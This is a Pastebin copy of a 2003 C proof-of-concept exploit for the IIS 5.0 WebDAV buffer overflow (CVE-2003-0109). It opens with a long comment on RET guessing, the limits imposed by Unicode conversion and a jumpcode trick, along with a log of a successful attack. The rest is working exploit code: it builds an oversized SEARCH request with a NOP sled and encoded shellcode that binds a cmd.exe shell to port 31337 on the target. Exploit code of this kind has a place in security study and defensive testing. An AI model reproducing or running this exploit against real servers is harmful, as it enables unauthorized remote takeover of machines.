FlyFar

Microsoft IIS 5.0 - WebDAV Remote - CVE-2003-0109

Jan 23rd, 2024
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 18.96 KB | Cybersecurity | 0 0
  1. /*************************************/
  2. /* IIS 5.0 WebDAV -Proof of concept- */
  3. /* [ Bug: CAN-2003-0109 ] */
  4. /* By Roman Medina-Heigl Hernandez */
  5. /* aka RoMaNSoFt <roman@rs-labs.com> */
  6. /* Madrid, 23.Mar.2003 */
  7. /* ================================= */
  8. /* Public release. Version 1. */
  9. /* --------------------------------- */
  10. /*************************************/
  11. /* ====================================================================
  12. * --[ READ ME ]
  13. *
  14. * This exploit is mainly a proof of concept of the recently discovered ntdll.dll bug (which may be
  15. * exploited in many other programs, not necessarily IIS). Practical exploitation is not as easy as
  16. * expected due to difficult RET guessing mixed with possible IIS crashes (which makes RET brute
  17. * forcing a tedious work). The shellcode included here will bind a cmd.exe shell to a given port
  18. * at the victim machine so it could be problematic if that machine is protected behind a firewall.
  19. * For all these reasons, the scope of this code is limited and mainly intended for educational
  20. * purposes. I am not responsible of possible damages created by the use of this exploit code.
  21. *
  22. * The program sends a HTTP request like this:
  23. *
  24. * SEARCH /[nop] [ret][ret][ret] ... [ret] [nop][nop][nop][nop][nop] ... [nop] [jmpcode] HTTP/1.1
  25. * {HTTP headers here}
  26. * {HTTP body with webDAV content}
  27. * 0x01 [shellcode]
  28. *
  29. * IIS converts the first ascii string ([nop]...[jmpcode]) to Unicode using UTF-16 encoding (for
  30. * instance, 0x41 becomes 0x41 0x00, i.e. an extra 0x00 byte is added) and it is the resultant
  31. * Unicode string the one producing the overflow. So at first glance, we cannot include code here
  32. * (more on this later) because it would get corrupted by 0x00 (and other) inserted bytes. Not at
  33. * least using the common method. Another problem that we will have to live with is our RET value
  34. * being padded with null bytes, so if we use 0xabcd in our string, the real RET value (i.e. the
  35. * one EIP will be overwritten with) would be 0x00ab00cd. This is an important restriction.
  36. *
  37. * We have two alternatives:
  38. *
  39. * 1) The easy one: find any occurrences of our ascii string (i.e. before it gets converted to
  40. * the Unicode form) in process memory. Problem: normally we should find it by debugging the
  41. * vulnerable application and then hardcode the found address (which will be the RET address)
  42. * in our exploit code. This RET address is variable, even for the same version of OS and app
  43. * (I mean, different instances of the same application in the same machine could make the
  44. * guessed RET address invalid at different moments). Now add the restriction of RET value
  45. * padded with null-bytes. Anyway, the main advantage of this method is that we will not have
  46. * to deal with 0x00-padded shellcode.
  47. *
  48. * 2) The not so-easy one: you could insert an encoded shellcode in such a way that when the app
  49. * expands the ascii string (with the encoded shellcode) to Unicode, a valid shellcode is
  50. * automagically placed into memory. Please, refer to Chris Anley's "venetian exploit" paper
  51. * to read more about this. Dave Aitel also has a good paper about this technique and indeed
  52. * he released code written in Python to encode shellcode (I'm wondering if he will release a
  53. * working tool for that purpose, since the actual code was released as part of a commercial
  54. * product, so it cannot be run without buying the whole product, despite the module itself
  55. * being free!). Problem: it is not so easy as the first method ;-) Advantage: when the over-
  56. * flow happens, some registers may point to our Unicoded string (where our Unicoded-shellcode
  57. * lives in), so we don't need to guess the address where shellcode will be placed and the
  58. * chance of a successful exploitation is greatly improved. For instance, in this case, when
  59. * IIS is overflowed, ECX register points to the Unicode string. The idea is then fill in
  60. * RET value with the fixed address of code like "call %ecx". This code may be contained in
  61. * any previosly-loaded library, for example).
  62. *
  63. * Well, guess it... yes... I chose the easy method :-) Perhaps I will rewrite the exploit
  64. * using method 2, but I cannot promise that.
  65. *
  66. * Let's see another problem of the method 1 (which I have used). Not all Unicode conversions
  67. * result in a 0x00 byte being added. This is true for ascii characters lower or equal to 0x7f
  68. * (except for some few special characters, I'm not sure). But our shellcode will have bytes
  69. * greater than 0x7f value. So we don't know the exact length of the Unicoded-string containing
  70. * our shellcode (some ascii chars will expand to more than 2 bytes, I think). As a result,
  71. * sometimes the exploit may not work, because no exact length is matched. For instance, if you
  72. * carry out experiments on this issue, you could see that IIS crashes (overflow occurs) when
  73. * entering a query like SEARCH /AAAA...AAA HTTP/1.1, with 65535 A's. Same happens with 65536.
  74. * But with different values seems NOT to work. So matching the exact length is important here!
  75. *
  76. * What I have done, it is to include a little "jumpcode" instead of the shellcode itself. The
  77. * jumpcode is placed into the "critical" place and has a fixed length, so our string has always
  78. * a fixed length, too. The "variable" part (the shellcode) is placed at the end of the HTTP
  79. * request (so you can insert your own shellcode and remove the one I'm using here, with no apparent
  80. * problem). To be precise, the end of the request will be: 0x01 [shellcode]. The 0x01 byte marks
  81. * the beginning of the shellcode and it is used by the jumpcode to find the address where shell-
  82. * code begins and jump into it. It is not possible to hardcode a relative jump, because HTTP
  83. * headers have a variable length (think about the "Host:" header and you will understand what
  84. * I'm saying). Well, really, the exploit could have calculated the relative jump itself (other
  85. * problems arise like null-bytes possibly contained in the offset field) but I have prefered to
  86. * use the 0x01 trick. It's my exploit, it's my choice :-)
  87. *
  88. * After launching the exploit, several things may happen:
  89. * - the exploit is successful. You can connect to the bound port of victim machine and get a
  90. * shell. Great. Remember that when you issue an "exit" command in the shell prompt, the pro-
  91. * cess will be terminated. This implies that IIS could die.
  92. * - exploit returns a "server not vulnerable" response. Really, the server may not be vulnerable
  93. * or perhaps the SEARCH method used by the exploit is not permitted (the bug can still be
  94. * exploited via GET, probably) or webDAV is disabled at all.
  95. * - exploit did not get success (which is not strange, since it is not easy to guess RET value)
  96. * but the server is vulnerable. IIS will probably not survive: a "net start w3svc" could be
  97. * needed in the victim machine, in order to restart the WWW service.
  98. *
  99. * The following log shows a correct exploitation:
  100. *
  101. * roman@goliat:~/iis5webdav> gcc -o rs_iis rs_iis.c
  102. * roman@goliat:~/iis5webdav> ./rs_iis roman
  103. * [*] Resolving hostname ...
  104. * [*] Attacking port 80 at roman (EIP = 0x00480004)...
  105. * [*] Now open another console/shell and try to connect (telnet) to victim port 31337...
  106. *
  107. * roman@goliat:~/iis5webdav> telnet roman 31337
  108. * Trying 192.168.0.247...
  109. * Connected to roman.
  110. * Escape character is '^]'.
  111. * Microsoft Windows 2000 [Versi¢n 5.00.2195]
  112. * (C) Copyright 1985-2000 Microsoft Corp.
  113. *
  114. * C:\WINNT\system32>
  115. *
  116. *
  117. * I am not going to show logs for the faulty cases. I'm pretty sure you will see them very
  118. * soon :-) But yes, the exploit works, perhaps a little fine-tunning may be required, though.
  119. * So please, do NOT contact me telling that the exploit doesn't work or things like that. It
  120. * worked for me and it will work for you, if you're not a script-kiddie. Try to attach to the
  121. * IIS process (inetinfo.exe) with the help of a debugger (OllyDbg is my favourite) on the
  122. * victim machine and then launch the exploit against it. Debugger will break when the first
  123. * exception is produced. Now place a breakpoint in 0x00ab00cd (being 0xabcd the not-unicoded
  124. * RET value) and resume execution until you reach that point. Finally, it's time to search
  125. * the memory looking for our shellcode. It is nearly impossible (very low chance) that our
  126. * shellcode is found at any 0x00**00**-form address (needed to bypass the RET restriction
  127. * imposed by Unicode conversion) but no problem: you have a lot of NOPs before the shellcode
  128. * where you could point to. If EIP is overwritten with the address of such a NOP, program flow
  129. * will finish reaching our shellcode. Note also that among the two bytes of RET that we have some
  130. * kind of control, the more important is the first one, i.e. the more significant. In other
  131. * words, interesting RET values to try are: 0x0104, 0x0204, 0x0304, 0x0404, 0x0504, ...,
  132. * and so on, till 0xff04. As you may have noticed, the last byte (0x04) is never changed because
  133. * its weight is minimal (256 between aprox. 65000 NOP's is not appreciable).
  134. *
  135. *
  136. * My best wishes,
  137. * --Roman
  138. *
  139. * ===================================== --[ EOT ]-- ====================
  140. */
  141.  
  142.  
  143. #include <stdio.h>
  144. #include <errno.h>
  145. #include <string.h>
  146. #include <stdlib.h>
  147. #include <sys/types.h>
  148. #include <sys/socket.h>
  149. #include <netdb.h>
  150. #include <netinet/in.h>
  151.  
  152. // Change to fit your need
  153. #define RET 0x4804 // EIP = 0x00480004
  154. #define LOADLIBRARYA 0x0100107c
  155. #define GETPROCADDRESS 0x01001034
  156.  
  157. // Don't change this
  158. #define PORT_OFFSET 1052
  159. #define LOADL_OFFSET 798
  160. #define GETPROC_OFFSET 815
  161. #define NOP 0x90
  162. #define MAXBUF 100000
  163.  
  164.  
  165. /*
  166. * LoadLibraryA IT Address := 0100107C
  167. * GetProcAddress IT Address := 01001034
  168. */
  169.  
  170. unsigned char shellcode[] = // Deepzone shellcode
  171. "\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c"
  172. "\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04"
  173. "\x90\x90\x90\xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99"
  174. "\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c\x6b\xbd\xd9\x99\x14"
  175. "\x24\x63\xbd\xd9\x99\xf3\x9e\x09\x09\x09\x09\xc0\x71\x4b"
  176. "\x9b\x99\x99\x14\x2c\xb3\xbc\xd9\x99\x14\x24\xaa\xbc\xd9"
  177. "\x99\xf3\x93\x09\x09\x09\x09\xc0\x71\x23\x9b\x99\x99\xf3"
  178. "\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x7c\xbc\xd9\x99"
  179. "\xcf\x14\x2c\x70\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9\x99"
  180. "\xf3\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x74\xbc\xd9"
  181. "\x99\xcf\x14\x2c\x68\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9"
  182. "\x99\x5e\x1c\x6c\xbc\xd9\x99\xdd\x99\x99\x99\x14\x2c\x6c"
  183. "\xbc\xd9\x99\xcf\x66\x0c\xae\xbc\xd9\x99\x14\x2c\xb4\xbf"
  184. "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\xa8\xbf"
  185. "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\x68\xbc"
  186. "\xd9\x99\x14\x24\xb4\xbf\xd9\x99\x3c\x14\x2c\x7c\xbc\xd9"
  187. "\x99\x34\x14\x24\xa8\xbf\xd9\x99\x32\x14\x24\xac\xbf\xd9"
  188. "\x99\x32\x5e\x1c\xbc\xbf\xd9\x99\x99\x99\x99\x99\x5e\x1c"
  189. "\xb8\xbf\xd9\x99\x98\x98\x99\x99\x14\x2c\xa0\xbf\xd9\x99"
  190. "\xcf\x14\x2c\x6c\xbc\xd9\x99\xcf\xf3\x99\xf3\x99\xf3\x89"
  191. "\xf3\x98\xf3\x99\xf3\x99\x14\x2c\xd0\xbf\xd9\x99\xcf\xf3"
  192. "\x99\x66\x0c\xa2\xbc\xd9\x99\xf1\x99\xb9\x99\x99\x09\xf1"
  193. "\x99\x9b\x99\x99\x66\x0c\xda\xbc\xd9\x99\x10\x1c\xc8\xbf"
  194. "\xd9\x99\xaa\x59\xc9\xd9\xc9\xd9\xc9\x66\x0c\x63\xbd\xd9"
  195. "\x99\xc9\xc2\xf3\x89\x14\x2c\x50\xbc\xd9\x99\xcf\xca\x66"
  196. "\x0c\x67\xbd\xd9\x99\xf3\x9a\xca\x66\x0c\x9b\xbc\xd9\x99"
  197. "\x14\x2c\xcc\xbf\xd9\x99\xcf\x14\x2c\x50\xbc\xd9\x99\xcf"
  198. "\xca\x66\x0c\x9f\xbc\xd9\x99\x14\x24\xc0\xbf\xd9\x99\x32"
  199. "\xaa\x59\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14"
  200. "\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3"
  201. "\xa9\x66\x0c\xd6\xbc\xd9\x99\x72\xd4\x09\x09\x09\xaa\x59"
  202. "\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14\x2c\x70"
  203. "\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66"
  204. "\x0c\xd6\xbc\xd9\x99\x1a\x24\xfc\xbf\xd9\x99\x9b\x96\x1b"
  205. "\x8e\x98\x99\x99\x18\x24\xfc\xbf\xd9\x99\x98\xb9\x99\x99"
  206. "\xeb\x97\x09\x09\x09\x09\x5e\x1c\xfc\xbf\xd9\x99\x99\xb9"
  207. "\x99\x99\xf3\x99\x12\x1c\xfc\xbf\xd9\x99\x14\x24\xfc\xbf"
  208. "\xd9\x99\xce\xc9\x12\x1c\xc8\xbf\xd9\x99\xc9\x14\x2c\x70"
  209. "\xbc\xd9\x99\x34\xc9\x66\x0c\xde\xbc\xd9\x99\xf3\xc9\x66"
  210. "\x0c\xd6\xbc\xd9\x99\x12\x1c\xfc\xbf\xd9\x99\xf3\x99\xc9"
  211. "\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99"
  212. "\x34\xc9\x66\x0c\x93\xbc\xd9\x99\xf3\x99\x14\x24\xfc\xbf"
  213. "\xd9\x99\xce\xf3\x99\xf3\x99\xf3\x99\x14\x2c\x70\xbc\xd9"
  214. "\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6"
  215. "\xbc\xd9\x99\xaa\x50\xa0\x14\xfc\xbf\xd9\x99\x96\x1e\xfe"
  216. "\x66\x66\x66\xf3\x99\xf1\x99\xb9\x99\x99\x09\x14\x2c\xc8"
  217. "\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66"
  218. "\x0c\x97\xbc\xd9\x99\x10\x1c\xf8\xbf\xd9\x99\xf3\x99\x14"
  219. "\x24\xfc\xbf\xd9\x99\xce\xc9\x14\x2c\xc8\xbf\xd9\x99\x34"
  220. "\xc9\x14\x2c\x74\xbc\xd9\x99\x34\xc9\x66\x0c\xd2\xbc\xd9"
  221. "\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\xf3\x99\x12\x1c\xf8"
  222. "\xbf\xd9\x99\x14\x24\xfc\xbf\xd9\x99\xce\xc9\x12\x1c\xc8"
  223. "\xbf\xd9\x99\xc9\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c"
  224. "\xde\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\x70\x20"
  225. "\x67\x66\x66\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x8b"
  226. "\xbc\xd9\x99\x14\x2c\xc4\xbf\xd9\x99\x34\xc9\x66\x0c\x8b"
  227. "\xbc\xd9\x99\xf3\x99\x66\x0c\xce\xbc\xd9\x99\xc8\xcf\xf1"
  228. "\xe5\x89\x99\x98\x09\xc3\x66\x8b\xc9\xc2\xc0\xce\xc7\xc8"
  229. "\xcf\xca\xf1\xad\x89\x99\x98\x09\xc3\x66\x8b\xc9\x35\x1d"
  230. "\x59\xec\x62\xc1\x32\xc0\x7b\x70\x5a\xce\xca\xd6\xda\xd2"
  231. "\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb\xf0\xf7\xfd"
  232. "\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed"
  233. "\x99\xea\xfc\xf7\xfd\x99\xeb\xfc\xfa\xef\x99\xfa\xf5\xf6"
  234. "\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99\xd2\xdc\xcb\xd7\xdc"
  235. "\xd5\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc"
  236. "\x99\xde\xfc\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7\xff"
  237. "\xf6\xd8\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa\xfc"
  238. "\xea\xea\xd8\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4\xfc\xfd\xc9"
  239. "\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8\xf5\xd8\xf5\xf5\xf6"
  240. "\xfa\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xce\xeb\xf0"
  241. "\xed\xfc\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc\xe9\x99\xda"
  242. "\xf5\xf6\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xdc\xe1\xf0"
  243. "\xed\xc9\xeb\xf6\xfa\xfc\xea\xea\x99\xda\xf6\xfd\xfc\xfd"
  244. "\xb9\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb9\xa5\xf0\xe3\xf8\xf7"
  245. "\xd9\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7\xf6\xeb\xfe\xa7"
  246. "\x9b\x99\x86\xd1\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  247. "\x99\x99\x95\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99"
  248. "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  249. "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  250. "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  251. "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  252. "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  253. "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  254. "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  255. "\x99\x99\xda\xd4\xdd\xb7\xdc\xc1\xdc\x99\x99\x99\x99\x99"
  256. "\x89\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  257. "\x99\x99\x99\x99\x99\x99\x90\x90\x90\x90\x90\x90\x90\x90";
  258.  
  259. unsigned char jumpcode[] = "\x8b\xf9\x32\xc0\xfe\xc0\xf2\xae\xff\xe7";
  260. /* mov edi, ecx
  261. * xor al, al
  262. * inc al
  263. * repnz scasb
  264. * jmp edi
  265. */
  266.  
  267. char body[] = "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" \
  268. "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";
  269.  
  270.  
  271. /* Our code starts here */
  272. int main (int argc, char **argv)
  273. {
  274.  
  275. unsigned long ret;
  276. unsigned short port;
  277. int tport, bport, s, i, j, r, rt=0;
  278. struct hostent *h;
  279. struct sockaddr_in dst;
  280. char buffer[MAXBUF];
  281.  
  282. if (argc < 2 || argc > 5)
  283. {
  284. printf("IIS 5.0 WebDAV Exploit by RoMaNSoFt <roman@rs-labs.com>. 23/03/2003\nUsage: %s <target host> [target port] [bind port] [ret]\nE.g 1: %s victim.com\nE.g 2: %s victim.com 80 31337 %#.4x\n", argv[0], argv[0], argv[0], RET);
  285. exit(-1);
  286. }
  287.  
  288. // Default target port = 80
  289. if (argc > 2)
  290. tport = atoi(argv[2]);
  291. else
  292. tport = 80;
  293.  
  294. // Default bind port = 31337
  295. if (argc > 3)
  296. bport = atoi(argv[3]);
  297. else
  298. bport = 31337;
  299.  
  300. // Default ret value = RET
  301. if (argc > 4)
  302. ret = strtoul(argv[4], NULL, 16);
  303. else
  304. ret = RET;
  305.  
  306. if ( ret > 0xffff || (ret & 0xff) == 0 || (ret & 0xff00) == 0 )
  307. {
  308. fprintf(stderr, "RET value must be in 0x0000-0xffff range and it may not contain null-bytes\nAborted!\n");
  309. exit(-2);
  310. }
  311.  
  312. // Shellcode patching
  313. port = htons(bport);
  314. port ^= 0x9999;
  315.  
  316. if ( ((port & 0xff) == 0) || ((port & 0xff00) == 0) )
  317. {
  318. fprintf(stderr, "Binding-port contains null-byte. Use another port.\nAborted!\n");
  319. exit(-3);
  320. }
  321.  
  322. *(unsigned short *)&shellcode[PORT_OFFSET] = port;
  323. *(unsigned long *)&shellcode[LOADL_OFFSET] = LOADLIBRARYA ^ 0x99999999;
  324. *(unsigned long *)&shellcode[GETPROC_OFFSET] = GETPROCADDRESS ^ 0x99999999;
  325. // If the last two items contain any null-bytes, exploit will fail.
  326. // WARNING: this check is not performed here. Be careful and check it for yourself!
  327.  
  328. // Resolve hostname
  329. printf("[*] Resolving hostname ...\n");
  330. if ((h = gethostbyname(argv[1])) == NULL)
  331. {
  332. fprintf(stderr, "%s: unknown hostname\n", argv[1]);
  333. exit(-4);
  334. }
  335.  
  336. bcopy(h->h_addr, &dst.sin_addr, h->h_length);
  337. dst.sin_family = AF_INET;
  338. dst.sin_port = htons(tport);
  339.  
  340. // Socket creation
  341. if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  342. {
  343. perror("Failed to create socket");
  344. exit(-5);
  345. }
  346.  
  347. // Connection
  348. if (connect(s, (struct sockaddr *)&dst, sizeof(dst)) == -1)
  349. {
  350. perror("Failed to connect");
  351. exit(-6);
  352. }
  353.  
  354. // Build malicious string...
  355. printf("[*] Attacking port %i at %s (EIP = %#.4x%.4x)...\n", tport, argv[1], ((ret >> 8) & 0xff), ret & 0xff);
  356.  
  357. bzero(buffer, MAXBUF);
  358. strcpy(buffer, "SEARCH /");
  359.  
  360. i = strlen(buffer);
  361. buffer[i] = NOP; // Align for RET overwrite
  362.  
  363. // Normally, EIP will be overwritten with buffer[8+2087] but I prefer to fill some more bytes ;-)
  364. for (j=i+1; j < i+2150; j+=2)
  365. *(unsigned short *)&buffer[j] = (unsigned short)ret;
  366.  
  367. // The rest is padded with NOP's. RET address should point to this zone!
  368. for (; j < i+65535-strlen(jumpcode); j++)
  369. buffer[j] = NOP;
  370.  
  371. // Then we skip the body of the HTTP request
  372. memcpy(&buffer[j], jumpcode, strlen(jumpcode));
  373.  
  374. strcpy(buffer+strlen(buffer), " HTTP/1.1\r\n");
  375. sprintf(buffer+strlen(buffer), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", argv[1], strlen(body) + strlen(shellcode));
  376. strcpy(buffer+strlen(buffer), body);
  377.  
  378. // This byte is used to mark the beginning of the shellcode
  379. memset(buffer+strlen(buffer), 0x01, 1);
  380.  
  381. // And finally, we land into our shellcode
  382. memset(buffer+strlen(buffer), NOP, 3);
  383. strcpy(buffer+strlen(buffer), shellcode);
  384.  
  385. // Send request
  386. if (send(s, buffer, strlen(buffer), 0) != strlen(buffer))
  387. {
  388. perror("Failed to send");
  389. exit(-7);
  390. }
  391.  
  392. printf("[*] Now open another console/shell and try to connect (telnet) to victim port %i...\n", bport);
  393.  
  394. // Receive response
  395. while ( (r=recv(s, &buffer[rt], MAXBUF-1, 0)) > 0)
  396. rt += r;
  397. // This code is not bullet-proof. An evil WWW server could return a response bigger than MAXBUF
  398. // and an overflow would occur here. Yes, I'm lazy... :-)
  399.  
  400. buffer[rt] = '\0';
  401.  
  402. if (rt > 0)
  403. printf("[*] Victim server issued the following %d bytes of response:\n--\n%s\n--\n[*] Server NOT vulnerable!\n", rt, buffer);
  404. else
  405. printf("[*] Server is vulnerable but the exploit failed! Change RET value (e.g. 0xce04) and try again (when IIS is up again) :-/\n", bport);
  406.  
  407. close(s);
  408.  
  409. }
  410.  
  411. // milw0rm.com [2003-03-24]
  412.            
Add Comment
Please, Sign In to add comment